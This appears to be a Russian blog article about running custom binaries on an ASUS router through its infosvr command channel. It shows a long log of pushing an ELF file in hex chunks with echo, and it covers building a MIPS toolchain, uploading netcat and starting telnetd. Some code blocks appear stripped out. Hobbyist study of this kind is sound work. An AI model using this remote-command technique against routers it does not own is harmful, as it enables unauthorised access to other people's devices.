24.8% 151.4 Bps part 52 (48 B; cmd: 235 ch) שLOST
24.8% 31.6 Bps part 52 (48 B; cmd: 235 ch) 192.168.1.1: OK
25.3% 342.9 Bps part 53 (48 B; cmd: 235 ch) ש192.168.1.1: OK
25.8% 145.0 Bps part 54 (48 B; cmd: 235 ch) שש192.168.1.1: OK
26.3% 151.4 Bps part 55 (48 B; cmd: 235 ch) ש192.168.1.1: OK
26.7% 145.5 Bps part 56 (48 B; cmd: 235 ch) ש192.168.1.1: OK
27.2% 147.7 Bps part 57 (48 B; cmd: 235 ch) ש192.168.1.1: OK
27.7% 143.7 Bps part 58 (48 B; cmd: 235 ch) ש192.168.1.1: OK
28.2% 142.9 Bps part 59 (48 B; cmd: 235 ch) ש192.168.1.1: OK
28.6% 142.9 Bps part 60 (48 B; cmd: 235 ch) ש192.168.1.1: OK
29.1% 149.1 Bps part 61 (48 B; cmd: 235 ch) 192.168.1.1: OK
29.6% 142.4 Bps part 62 (48 B; cmd: 235 ch) ש192.168.1.1: OK
30.1% 142.9 Bps part 63 (48 B; cmd: 235 ch) 192.168.1.1: OK
30.6% 145.9 Bps part 64 (48 B; cmd: 235 ch) ש192.168.1.1: OK
31.0% 148.1 Bps part 65 (48 B; cmd: 235 ch) ש192.168.1.1: OK
31.5% 144.6 Bps part 66 (48 B; cmd: 235 ch) ש192.168.1.1: OK
32.0% 141.2 Bps part 67 (48 B; cmd: 235 ch) ש192.168.1.1: OK
32.5% 142.9 Bps part 68 (48 B; cmd: 235 ch) 192.168.1.1: OK
32.9% 151.4 Bps part 69 (48 B; cmd: 235 ch) ש192.168.1.1: OK
33.4% 143.7 Bps part 70 (48 B; cmd: 235 ch) שש192.168.1.1: OK
33.9% 146.8 Bps part 71 (48 B; cmd: 235 ch) ש192.168.1.1: OK
34.4% 183.9 Bps part 72 (48 B; cmd: 235 ch) 192.168.1.1: OK
34.8% 144.1 Bps part 73 (48 B; cmd: 235 ch) שש192.168.1.1: OK
35.3% 117.1 Bps part 74 (48 B; cmd: 235 ch) ש192.168.1.1: OK
35.8% 144.6 Bps part 75 (48 B; cmd: 235 ch) 192.168.1.1: OK
36.3% 144.6 Bps part 76 (48 B; cmd: 235 ch) 192.168.1.1: OK
36.7% 151.4 Bps part 77 (48 B; cmd: 235 ch) שש192.168.1.1: OK
37.2% 172.0 Bps part 78 (48 B; cmd: 235 ch) 192.168.1.1: OK
37.7% 119.7 Bps part 79 (48 B; cmd: 235 ch) 192.168.1.1: OK
38.2% 143.7 Bps part 80 (48 B; cmd: 235 ch) 192.168.1.1: OK
38.6% 151.9 Bps part 81 (48 B; cmd: 235 ch) שש192.168.1.1: OK
39.1% 143.7 Bps part 82 (48 B; cmd: 235 ch) ש192.168.1.1: OK
39.6% 146.8 Bps part 83 (48 B; cmd: 235 ch) ש192.168.1.1: OK
40.1% 183.9 Bps part 84 (48 B; cmd: 235 ch) שש192.168.1.1: OK
40.5% 117.1 Bps part 85 (48 B; cmd: 235 ch) שש192.168.1.1: OK
41.0% 142.9 Bps part 86 (48 B; cmd: 235 ch) ש192.168.1.1: OK
41.5% 147.2 Bps part 87 (48 B; cmd: 235 ch) שש192.168.1.1: OK
42.0% 179.1 Bps part 88 (48 B; cmd: 235 ch) 192.168.1.1: OK
42.5% 145.5 Bps part 89 (48 B; cmd: 235 ch) שש192.168.1.1: OK
42.9% 136.8 Bps part 90 (48 B; cmd: 235 ch) 192.168.1.1: OK
43.4% 120.0 Bps part 91 (48 B; cmd: 235 ch) 192.168.1.1: OK
43.9% 151.9 Bps part 92 (48 B; cmd: 235 ch) שש192.168.1.1: OK
44.4% 143.3 Bps part 93 (48 B; cmd: 235 ch) ש192.168.1.1: OK
44.8% 146.3 Bps part 94 (48 B; cmd: 235 ch) ש192.168.1.1: OK
45.3% 145.9 Bps part 95 (48 B; cmd: 235 ch) שש192.168.1.1: OK
45.8% 138.7 Bps part 96 (48 B; cmd: 235 ch) 192.168.1.1: OK
46.3% 151.4 Bps part 97 (48 B; cmd: 235 ch) שLOST
46.3% 31.8 Bps part 97 (48 B; cmd: 235 ch) 192.168.1.1: OK
46.7% 436.4 Bps part 98 (48 B; cmd: 235 ch) שש192.168.1.1: OK
47.2% 138.7 Bps part 99 (48 B; cmd: 235 ch) LOST
47.2% 32.0 Bps part 99 (48 B; cmd: 235 ch) 192.168.1.1: OK
47.7% 378.0 Bps part 100 (48 B; cmd: 237 ch) שש192.168.1.1: OK
Merging to /var/ldd parts 1..16 (16 pcs; cmd: 228 ch)… OK (777 B)
Merging to /var/ldd parts 17..32 (16 pcs; cmd: 238 ch)… OK (1545 B)
Merging to /var/ldd parts 33..48 (16 pcs; cmd: 238 ch)… OK (2313 B)
Merging to /var/ldd parts 49..64 (16 pcs; cmd: 238 ch)… OK (3081 B)
Merging to /var/ldd parts 65..80 (16 pcs; cmd: 238 ch)… OK (3849 B)
Merging to /var/ldd parts 81..96 (16 pcs; cmd: 238 ch)… OK (4617 B)
Merging to /var/ldd parts 97..100 (4 pcs; cmd: 71 ch)… OK (4809
B)
Written 4.70KB/9.85KB 77.0 Bps (avg) Remaining: 01:08 (01:02/02:10)

48.2% 5.2 Bps part 101 (49 B; cmd: 237 ch) 192.168.1.1: OK
48.7% 116.7 Bps part 102 (49 B; cmd: 237 ch) שש192.168.1.1: OK
49.1% 196.8 Bps part 103 (49 B; cmd: 237 ch) LOST
49.1% 32.7 Bps part 103 (49 B; cmd: 237 ch) 192.168.1.1: OK
49.6% 418.8 Bps part 104 (49 B; cmd: 237 ch) שש192.168.1.1: OK
50.1% 138.8 Bps part 105 (49 B; cmd: 237 ch) 192.168.1.1: OK
50.6% 150.8 Bps part 106 (49 B; cmd: 237 ch) 192.168.1.1: OK
51.1% 153.6 Bps part 107 (49 B; cmd: 237 ch) שש192.168.1.1: OK
51.6% 151.7 Bps part 108 (49 B; cmd: 237 ch) ש192.168.1.1: OK
52.1% 142.4 Bps part 109 (49 B; cmd: 237 ch) ש192.168.1.1: OK
52.5% 145.5 Bps part 110 (48 B; cmd: 235 ch) ש192.168.1.1: OK
53.0% 150.9 Bps part 111 (48 B; cmd: 235 ch) שLOST
53.0% 31.7 Bps part 111 (48 B; cmd: 235 ch) 192.168.1.1: OK
53.5% 410.3 Bps part 112 (48 B; cmd: 235 ch) שש192.168.1.1: OK
54.0% 143.3 Bps part 113 (48 B; cmd: 235 ch) ש192.168.1.1: OK
54.4% 144.6 Bps part 114 (48 B; cmd: 235 ch) שש192.168.1.1: OK
54.9% 141.6 Bps part 115 (48 B; cmd: 235 ch) 192.168.1.1: OK
55.4% 150.0 Bps part 116 (48 B; cmd: 235 ch) ש192.168.1.1: OK
55.9% 140.4 Bps part 117 (48 B; cmd: 235 ch) ש192.168.1.1: OK
56.3% 151.9 Bps part 118 (48 B; cmd: 235 ch) ש192.168.1.1: OK
56.8% 142.0 Bps part 119 (48 B; cmd: 235 ch) ש192.168.1.1: OK
57.3% 145.5 Bps part 120 (48 B; cmd: 235 ch) 192.168.1.1: OK
57.8% 140.8 Bps part 121 (48 B; cmd: 235 ch) 192.168.1.1: OK
58.3% 154.3 Bps part 122 (48 B; cmd: 235 ch) ש192.168.1.1: OK
58.7% 144.6 Bps part 123 (48 B; cmd: 235 ch) 192.168.1.1: OK
59.2% 141.2 Bps part 124 (48 B; cmd: 235 ch) 192.168.1.1: OK
59.7% 138.7 Bps part 125 (48 B; cmd: 235 ch) 192.168.1.1: OK
60.2% 151.9 Bps part 126 (48 B; cmd: 235 ch) ש192.168.1.1: OK
60.6% 142.9 Bps part 127 (48 B; cmd: 235 ch) שLOST
60.6% 31.9 Bps part 127 (48 B; cmd: 235 ch) 192.168.1.1: OK
61.1% 378.0 Bps part 128 (48 B; cmd: 235 ch) ש192.168.1.1: OK
61.6% 142.4 Bps part 129 (48 B; cmd: 235 ch) 192.168.1.1: OK
62.1% 150.0 Bps part 130 (48 B; cmd: 235 ch) שש192.168.1.1: OK
62.5% 136.8 Bps part 131 (48 B; cmd: 235 ch) ש192.168.1.1: OK
63.0% 154.3 Bps part 132 (48 B; cmd: 235 ch) 192.168.1.1: OK
63.5% 149.1 Bps part 133 (48 B; cmd: 235 ch) ש192.168.1.1: OK
64.0% 145.9 Bps part 134 (48 B; cmd: 235 ch) שש192.168.1.1: OK
64.4% 142.4 Bps part 135 (48 B; cmd: 235 ch) שש192.168.1.1: OK
64.9% 147.7 Bps part 136 (48 B; cmd: 235 ch) שש192.168.1.1: OK
65.4% 146.8 Bps part 137 (48 B; cmd: 235 ch) ש192.168.1.1: OK
65.9% 142.0 Bps part 138 (48 B; cmd: 235 ch) שש192.168.1.1: OK
66.3% 179.8 Bps part 139 (48 B; cmd: 235 ch) שש192.168.1.1: OK
66.8% 121.2 Bps part 140 (48 B; cmd: 235 ch) שש192.168.1.1: OK
67.3% 182.5 Bps part 141 (48 B; cmd: 235 ch) שש192.168.1.1: OK
67.8% 119.4 Bps part 142 (48 B; cmd: 235 ch) ש192.168.1.1: OK
68.2% 146.3 Bps part 143 (48 B; cmd: 235 ch) ש192.168.1.1: OK
68.7% 145.0 Bps part 144 (48 B; cmd: 235 ch) ש192.168.1.1: OK
69.2% 142.4 Bps part 145 (48 B; cmd: 235 ch) ש192.168.1.1: OK
69.7% 142.9 Bps part 146 (48 B; cmd: 235 ch) 192.168.1.1: OK
70.2% 145.0 Bps part 147 (48 B; cmd: 235 ch) 192.168.1.1: OK
70.6% 142.0 Bps part 148 (48 B; cmd: 235 ch) 192.168.1.1: OK
71.1% 152.9 Bps part 149 (48 B; cmd: 235 ch) ש192.168.1.1: OK
71.6% 177.1 Bps part 150 (48 B; cmd: 235 ch) 192.168.1.1: OK
72.1% 122.8 Bps part 151 (48 B; cmd: 235 ch) שש192.168.1.1: OK
72.5% 143.3 Bps part 152 (48 B; cmd: 235 ch) שש192.168.1.1: OK
73.0% 145.9 Bps part 153 (48 B; cmd: 235 ch) שLOST
73.0% 31.7 Bps part 153 (48 B; cmd: 235 ch) 192.168.1.1: OK
73.5% 432.4 Bps part 154 (48 B; cmd: 235 ch) ש192.168.1.1: OK
74.0% 144.6 Bps part 155 (48 B; cmd: 235 ch) שש192.168.1.1: OK
74.4% 145.5 Bps part 156 (48 B; cmd: 235 ch) ש192.168.1.1: OK
74.9% 182.5 Bps part 157 (48 B; cmd: 235 ch) שש192.168.1.1: OK
75.4% 117.1 Bps part 158 (48 B; cmd: 235 ch) ש192.168.1.1: OK
75.9% 148.6 Bps part 159 (48 B; cmd: 235 ch) שש192.168.1.1: OK
76.3% 183.9 Bps part 160 (48 B; cmd: 235 ch) ש192.168.1.1: OK
76.8% 140.4 Bps part 161 (48 B; cmd: 235 ch) ש192.168.1.1: OK
77.3% 121.2 Bps part 162 (48 B; cmd: 235 ch) 192.168.1.1: OK
77.8% 149.1 Bps part 163 (48 B; cmd: 235 ch) שש192.168.1.1: OK
78.2% 141.6 Bps part 164 (48 B; cmd: 235 ch) ש192.168.1.1: OK
78.7% 145.0 Bps part 165 (48 B; cmd: 235 ch) ש192.168.1.1: OK
79.2% 148.1 Bps part 166 (48 B; cmd: 235 ch) ש192.168.1.1: OK
79.7% 176.5 Bps part 167 (48 B; cmd: 235 ch) 192.168.1.1: OK
80.1% 121.5 Bps part 168 (48 B; cmd: 235 ch) שש192.168.1.1: OK
80.6% 145.5 Bps part 169 (48 B; cmd: 235 ch) שש192.168.1.1: OK
81.1% 144.6 Bps part 170 (48 B; cmd: 235 ch) ששLOST
81.1% 31.7 Bps part 170 (48 B; cmd: 235 ch) 192.168.1.1: OK
81.6% 417.4 Bps part 171 (48 B; cmd: 235 ch) שש192.168.1.1: OK
82.1% 144.6 Bps part 172 (48 B; cmd: 235 ch) שש192.168.1.1: OK
82.5% 182.5 Bps part 173 (48 B; cmd: 235 ch) 192.168.1.1: OK
83.0% 119.4 Bps part 174 (48 B; cmd: 235 ch) ש192.168.1.1: OK
83.5% 139.5 Bps part 175 (48 B; cmd: 235 ch) 192.168.1.1: OK
84.0% 145.9 Bps part 176 (48 B; cmd: 235 ch) 192.168.1.1: OK
84.4% 145.9 Bps part 177 (48 B; cmd: 235 ch) 192.168.1.1: OK
84.9% 142.0 Bps part 178 (48 B; cmd: 235 ch) 192.168.1.1: OK
85.4% 150.5 Bps part 179 (48 B; cmd: 235 ch) ש192.168.1.1: OK
85.9% 150.0 Bps part 180 (48 B; cmd: 235 ch) ש192.168.1.1: OK
86.3% 142.0 Bps part 181 (48 B; cmd: 235 ch) ש192.168.1.1: OK
86.8% 143.7 Bps part 182 (48 B; cmd: 235 ch) שש192.168.1.1: OK
87.3% 147.7 Bps part 183 (48 B; cmd: 235 ch) ש192.168.1.1: OK
87.8% 141.6 Bps part 184 (48 B; cmd: 235 ch) LOST
87.8% 32.0 Bps part 184 (48 B; cmd: 235 ch) 192.168.1.1: OK
88.2% 355.6 Bps part 185 (48 B; cmd: 235 ch) ש192.168.1.1: OK
88.7% 149.1 Bps part 186 (48 B; cmd: 235 ch) שש192.168.1.1: OK
89.2% 140.4 Bps part 187 (48 B; cmd: 235 ch) ש192.168.1.1: OK
89.7% 147.2 Bps part 188 (48 B; cmd: 235 ch) ש192.168.1.1: OK
90.1% 148.1 Bps part 189 (48 B; cmd: 235 ch) ש192.168.1.1: OK
90.6% 144.1 Bps part 190 (48 B; cmd: 235 ch) LOST
90.6% 32.0 Bps part 190 (48 B; cmd: 235 ch) 192.168.1.1: OK
91.1% 406.8 Bps part 191 (48 B; cmd: 235 ch) 192.168.1.1: OK
91.6% 142.9 Bps part 192 (48 B; cmd: 235 ch) 192.168.1.1: OK
92.0% 148.1 Bps part 193 (48 B; cmd: 235 ch) ש192.168.1.1: OK
92.5% 144.6 Bps part 194 (48 B; cmd: 235 ch) ש192.168.1.1: OK
93.0% 147.2 Bps part 195 (48 B; cmd: 235 ch) ש192.168.1.1: OK
93.5% 144.1 Bps part 196 (48 B; cmd: 235 ch) ש192.168.1.1: OK
94.0% 147.7 Bps part 197 (48 B; cmd: 235 ch) שש192.168.1.1: OK
94.4% 145.9 Bps part 198 (48 B; cmd: 235 ch) שש192.168.1.1: OK
94.9% 174.5 Bps part 199 (48 B; cmd: 235 ch) 192.168.1.1: OK
95.4% 123.4 Bps part 200 (48 B; cmd: 237 ch) 192.168.1.1: OK
Merging to /var/ldd parts 101..116 (16 pcs; cmd: 229 ch)… OK (5586 B)
Merging to /var/ldd parts 117..132 (16 pcs; cmd: 238 ch)… OK (6354 B)
Merging to /var/ldd parts 133..148 (16 pcs; cmd: 238 ch)… OK (7122 B)
Merging to /var/ldd parts 149..164 (16 pcs; cmd: 238 ch)… OK (7890 B)
Merging to /var/ldd parts 165..180 (16 pcs; cmd: 238 ch)… OK (8658 B)
Merging to /var/ldd parts 181..196 (16 pcs; cmd: 238 ch)… OK (9426 B)
Merging to /var/ldd parts 197..200 (4 pcs; cmd: 71 ch)… OK (9618 B)
Written 9.39KB/9.85KB 92.9 Bps (avg) Remaining: 00:05 (01:54/01:59)

Читайте также:  Picexa что за программа

95.9% 4.9 Bps part 201 (49 B; cmd: 237 ch) 192.168.1.1: OK
96.4% 146.7 Bps part 202 (49 B; cmd: 237 ch) 192.168.1.1: OK
96.8% 155.6 Bps part 203 (49 B; cmd: 237 ch) שש192.168.1.1: OK
97.3% 142.9 Bps part 204 (49 B; cmd: 237 ch) 192.168.1.1: OK
97.8% 153.1 Bps part 205 (49 B; cmd: 237 ch) LOST
97.8% 32.7 Bps part 205 (49 B; cmd: 237 ch) 192.168.1.1: OK
98.3% 388.9 Bps part 206 (49 B; cmd: 237 ch) ש192.168.1.1: OK
98.8% 148.5 Bps part 207 (49 B; cmd: 237 ch) 192.168.1.1: OK
99.3% 144.5 Bps part 208 (49 B; cmd: 237 ch) 192.168.1.1: OK
99.8% 151.2 Bps part 209 (49 B; cmd: 237 ch) ש192.168.1.1: OK
100.0% 75.3 Bps part 210 (25 B; cmd: 143 ch) שש192.168.1.1: OK
Merging to /var/ldd parts 201..210 (10 pcs; cmd: 145 ch)… OK (10084 B)
Written 9.85KB/9.85KB 78.7 Bps (avg) Remaining: 00:00 (02:00/02:00)

Finished. File size on target is 9.85KB. Working time: 02:00 (120 sec)

  • На месте ///*** таких моих комментариев ***/// удалены строки, чтобы не перегружать текст.
  • А на месте ///— таких —/// ничего не удалено. Это просто объяснения.

system cmd: 237 echo -ne “\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x08\x50\x00\x00\x00\x34\x00\x00\x23\x54\x00\x00\x10\x07\x00\x34\x00\x20\x00\x08\x00\x28\x00″>/var/ldd_0-1;cat /var/ldd_0-1
rund: echo -ne “\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x08\x50\x00\x00\x00\x34\x00\x00\x23\x54\x00\x00\x10\x07\x00\x34\x00\x20\x00\x08\x00\x28\x00″>/var/ldd_0-1;cat /var/ldd_0-1 > /tmp/syscmd.out
49 ELF
system cmd: 237 echo -ne “\x1a\x00\x19\x00\x00\x00\x06\x00\x00\x00\x34\x00\x40\x00\x34\x00\x40\x00\x34\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x01\x34\x00\x40\x01\x34\x00\x40″>/var/ldd_0-2;cat /var/ldd_0-2
rund: echo -ne “\x1a\x00\x19\x00\x00\x00\x06\x00\x00\x00\x34\x00\x40\x00\x34\x00\x40\x00\x34\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x01\x34\x00\x40\x01\x34\x00\x40″>/var/ldd_0-2;cat /var/ldd_0-2 > /tmp/syscmd.out
49

///*** много-много подобных строк — ПЕРЕДАЧА ЧАСТЕЙ ФАЙЛА ***///

system cmd: 237 echo -ne “\x00\x00\x00\x03\x20\xf8\x09\x24\x44\x00\x01\x8f\xbc\x00\x18\x00\x40\x20\x21\x8f\x99\x80\xac\x02\x20\x28\x21\x03\x20\xf8\x09\xae\x02\x00\x00\x8f\xbc\x00\x18\x8e\x04\x00\x00\x8f\x99\x80\x68\x00″>/var/ldd_0-100;cat /var/ldd_0-100
rund: echo -ne “\x00\x00\x00\x03\x20\xf8\x09\x24\x44\x00\x01\x8f\xbc\x00\x18\x00\x40\x20\x21\x8f\x99\x80\xac\x02\x20\x28\x21\x03\x20\xf8\x09\xae\x02\x00\x00\x8f\xbc\x00\x18\x8e\x04\x00\x00\x8f\x99\x80\x68\x00″>/var/ldd_0-100;cat /var/ldd_0-100 > /tmp/syscmd.out
48
///— Запрос размера целевого файла (для контроля успешности объединения частей) —///
system cmd: 35 echo -n “”>>/var/ldd;wc -c</var/ldd
rund: echo -n “”>>/var/ldd;wc -c</var/ldd > /tmp/syscmd.out
2 0

///— Объединение загруженных частей —///
system cmd: 228 cat /var/ldd_0-1 /var/ldd_0-2 /var/ldd_0-3 /var/ldd_0-4 /var/ldd_0-5 /var/ldd_0-6 /var/ldd_0-7 /var/ldd_0-8 /var/ldd_0-9 /var/ldd_0-10 /var/ldd_0-11 /var/ldd_0-12 /var/ldd_0-13 /var/ldd_0-14 /var/ldd_0-15 /var/ldd_0-16>/var/ldd;
rund: cat /var/ldd_0-1 /var/ldd_0-2 /var/ldd_0-3 /var/ldd_0-4 /var/ldd_0-5 /var/ldd_0-6 /var/ldd_0-7 /var/ldd_0-8 /var/ldd_0-9 /var/ldd_0-10 /var/ldd_0-11 /var/ldd_0-12 /var/ldd_0-13 /var/ldd_0-14 /var/ldd_0-15 /var/ldd_0-16>/var/ldd; > /tmp/syscmd.out
0 0

///— Запрос размера целевого файла (для контроля успешности объединения частей) —///
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
4 777
ш $D
system cmd: 238 cat /var/ldd_0-17 /var/ldd_0-18 /var/ldd_0-19 /var/ldd_0-20 /var/ldd_0-21 /var/ldd_0-22 /var/ldd_0-23 /var/ldd_0-24 /var/ldd_0-25 /var/ldd_0-26 /var/ldd_0-27 /var/ldd_0-28 /var/ldd_0-29 /var/ldd_0-30 /var/ldd_0-31 /var/ldd_0-32>>/var/ldd;
rund: cat /var/ldd_0-17 /var/ldd_0-18 /var/ldd_0-19 /var/ldd_0-20 /var/ldd_0-21 /var/ldd_0-22 /var/ldd_0-23 /var/ldd_0-24 /var/ldd_0-25 /var/ldd_0-26 /var/ldd_0-27 /var/ldd_0-28 /var/ldd_0-29 /var/ldd_0-30 /var/ldd_0-31 /var/ldd_0-32>>/var/ldd; > /tmp/syscmd.out
0 777
ш $D
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
5 1545
ш $D

///*** много подобных строк — ОБЪЕДИНЕНИЕ ПЕРЕДАННЫХ ЧАСТЕЙ ФАЙЛА ***///

system cmd: 71 cat /var/ldd_0-97 /var/ldd_0-98 /var/ldd_0-99 /var/ldd_0-100>>/var/ldd;
rund: cat /var/ldd_0-97 /var/ldd_0-98 /var/ldd_0-99 /var/ldd_0-100>>/var/ldd; > /tmp/syscmd.out
0 4617
ш $D
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
5 4809
ш $D
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
5 4809
ш $D

///— следующая команда удаляет уже объединённые части —///
system cmd: 37 rm /var/ldd_0-*;ls /var/ldd_0-*|wc -l
ls: /var/ldd_0-*: No such file or directory
rund: rm /var/ldd_0-*;ls /var/ldd_0-*|wc -l > /tmp/syscmd.out
2 0
09
ш $D

///— далее цикл повторяется для следующего куска (в исходниках называемого chunk-ом) исходного файла —///

system cmd: 237 echo -ne “\x00\x00\x00\x03\x20\xf8\x09\x00\x00\x00\x00\x8f\xbc\x00\x18\x3c\x03\x00\x41\xae\x02\x00\x08\x24\x02\x00\x01\xae\x02\x00\x04\xae\x00\x00\x0c\xac\x62\x21\x88\x12\x00\x00\x42\x00\x00\x00\x00\x8f\xa4″>/var/ldd_1-1;cat /var/ldd_1-1
rund: echo -ne “\x00\x00\x00\x03\x20\xf8\x09\x00\x00\x00\x00\x8f\xbc\x00\x18\x3c\x03\x00\x41\xae\x02\x00\x08\x24\x02\x00\x01\xae\x02\x00\x04\xae\x00\x00\x0c\xac\x62\x21\x88\x12\x00\x00\x42\x00\x00\x00\x00\x8f\xa4″>/var/ldd_1-1;cat /var/ldd_1-1 > /tmp/syscmd.out
49
system cmd: 237 echo -ne “\x01\x58\x00\x00\x00\x00\x94\x82\x00\x10\x00\x00\x00\x00\x24\x42\xff\xfe\x30\x42\xff\xff\x2c\x42\x00\x02\x10\x40\x00\x39\x24\x03\xff\x00\x8c\x82\x00\x04\x00\x00\x00\x00\x00\x62\x18\x24\x3c\x02\x01″>/var/ldd_1-2;cat /var/ldd_1-2
rund: echo -ne “\x01\x58\x00\x00\x00\x00\x94\x82\x00\x10\x00\x00\x00\x00\x24\x42\xff\xfe\x30\x42\xff\xff\x2c\x42\x00\x02\x10\x40\x00\x39\x24\x03\xff\x00\x8c\x82\x00\x04\x00\x00\x00\x00\x00\x62\x18\x24\x3c\x02\x01″>/var/ldd_1-2;cat /var/ldd_1-2 > /tmp/syscmd.out
49 X

///*** много-много-много строк — ПРОХОДИТ НЕСКОЛЬКО ЦИКЛОВ ***///

system cmd: 237 echo -ne “\x00\x01\x00\x00\x00\x00\x00\x41\x21\xa0\x00\x00\x22\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00″>/var/ldd_2-9;cat /var/ldd_2-9
rund: echo -ne “\x00\x01\x00\x00\x00\x00\x00\x41\x21\xa0\x00\x00\x22\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00″>/var/ldd_2-9;cat /var/ldd_2-9 > /tmp/syscmd.out
49
system cmd: 143 echo -ne “\x00\x00\x00\x22\x84\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00″>/var/ldd_2-10;cat /var/ldd_2-10
rund: echo -ne “\x00\x00\x00\x22\x84\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00″>/var/ldd_2-10;cat /var/ldd_2-10 > /tmp/syscmd.out
25
system cmd: 35 echo -n “”>>/var/ldd;wc -c</var/ldd
rund: echo -n “”>>/var/ldd;wc -c</var/ldd > /tmp/syscmd.out
5 9618

system cmd: 145 cat /var/ldd_2-1 /var/ldd_2-2 /var/ldd_2-3 /var/ldd_2-4 /var/ldd_2-5 /var/ldd_2-6 /var/ldd_2-7 /var/ldd_2-8 /var/ldd_2-9 /var/ldd_2-10>>/var/ldd;
rund: cat /var/ldd_2-1 /var/ldd_2-2 /var/ldd_2-3 /var/ldd_2-4 /var/ldd_2-5 /var/ldd_2-6 /var/ldd_2-7 /var/ldd_2-8 /var/ldd_2-9 /var/ldd_2-10>>/var/ldd; > /tmp/syscmd.out
0 9618

system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
6 10084

system cmd: 37 rm /var/ldd_2-*;ls /var/ldd_2-*|wc -l
ls: /var/ldd_2-*: No such file or directory
rund: rm /var/ldd_2-*;ls /var/ldd_2-*|wc -l > /tmp/syscmd.out
2 0
084

system cmd: 35 echo -n “”>>/var/ldd;wc -c</var/ldd
rund: echo -n “”>>/var/ldd;wc -c</var/ldd > /tmp/syscmd.out
6 10084

Ну и что дальше?

Как известно, в Linux чтобы запустить файл на исполнение надо установить ему соответствующие разрешения. Проблемка в том, что на роутере не оказалось chmod (помните про сильно урезанный busybox?). Но ничего. Это можно обойти:

Profit! Мы только что загрузили на роутер свой исполняемый файл, и он работает! Хотя погодите… А где мы его взяли, файл этот?

Как получить исполняемые файлы для своего роутера

Можно, конечно, даташит поискать и в нём найти эту информацию… А если он недоступен? А если есть разные модификации? Самый верный способ — посмотреть на то, что уже работает.

Придётся как-то достать исполняемый файл с роутера, чтобы проанализировать его с помощью команд file и readelf -h.

  • запустил telnetd и подключил к нему TeraTerm
  • настроил TeraTerm на лог в файл с опцией «бинарный»
  • TeraTerm больше не трогаю (чтобы в начало лога ничего лишнего не попало)
  • выполнил AsusCmd.exe «cat /bin/infosvr > /dev/ttyp0;»
  • остановил лог в файл

Перекидываем полученный файл на машину с Линуксом. Теперь можно посмотреть заголовок:

Теперь всё ясно: MIPS-1, Big endian.

Собираем тулчейн для нашего роутера

Вот мой скрипт-памятка (выбирайте конфигуратор по вкусу):

На шаге make *config настраиваем тулчейн.

По крайней мере, надо настроить целевую архитектуру. Target options —> Target Architecture и Target Architecture Variant. Тут есть небольшой подвох: вот так сразу в Target Architecture Variant Mips I вы не найдёте. Чтобы он там появился нужно включить опцию Build options —> Show options and packages that are deprecated or obsolete.

Можно больше ничего не настраивать. А можно ещё много чего настроить: включить поддержку C++ и других языков, статическую компоновку (у меня ничего хорошего с этого не вышло), выбрать компилируемые под целевую архитектуру приложения, апплеты busybox, версии библиотек и т.п.

После настройки выбираем Exit, соглашаемся с сохранением новой конфигурации и… make. Сборка займёт продолжительное время, в зависимости от того, что вы там в настройках понавыбирали (У меня при настройке только архитектуры целевого процессора сборка на VM Ware заняла немногим более полу часа. Замерял так: ). Можно параллельно собирать, но не с помощью -jN. Руководство гласит:

Т.е. нужно настраивать параметр Build options —> Number of jobs to run simultaneously.

Toolchain готов

Наконец, по прошествии xx минут тулчейн собрался полностью и без ошибок. Можно использовать. GCC для роутера будет по пути ./buildroot-2014.11/output/host/usr/bin/mips-linux-gcc (симлинк на mips-buildroot-linux-uclibc-gcc).
Для начала напишем примитивную программку, скомпилируем, зальём на роутер, выставим разрешение на исполнение (трюк, показанный ранее) и запустим:

Теперь можно писать свои программы для роутера, учитывая ограниченность ресурсов и возможности библиотек, которые есть на роутере.

Но вместе с тулчейном собрались и некоторые бинарники на целевую платформу! Лежат они здесь: ./buildroot-2014.11/output/target/ bin | sbin | usr/bin | usr/sbin. Я перепробовал многие из них (в menuconfig настроил сборку множества дополнительных приложений). Те, которые оказались рабочими и показались полезными сохранил отдельно (может когда-то понадобятся).

  • чаще всего — can’t load library ‘какая-то библиотека’
  • частично работают — can’t resolve symbol ‘какой-то символ’
  • Segmentation fault — без комментариев
  • а все статически слинкованные — Illegal instruction
Повышаем комфорт
  • с помощью AsusBinWrite заливаем на роутер netcat
  • устанавливаем ему разрешение на исполнение
  • запускаем на приём:

Теперь скорость приличная и можно легко загружать даже «увесистые» файлы. Но не увлекайтесь. Не забывайте, что /var и /tmp (который на самом деле /var/tmp) — это оперативная память роутера. Если вы полностью её забьёте — роутер перестанет отвечать (или вообще зависнет). В этом случае придётся его перезагрузить вручную. Контролируйте свободную память при помощи free.

Кстати, когда я искал netcat под Windows, то наткнулся на “netcat 21-го века”. Он гораздо богаче функционалом, чем обычный netcat. Для нашего случая очень полезной оказалась опция –send-only (разорвать соединение сразу после передачи).

Что ещё можно сделать?

# mount
rootfs on / type rootfs (rw)
/dev/root on / type squashfs (ro,relatime)
proc on /proc type proc (rw,relatime)
ramfs on /var type ramfs (rw,relatime)
#
# cat /proc/partitions
major minor #blocks name

31 0 64 mtdblock0
31 1 3211 mtdblock1
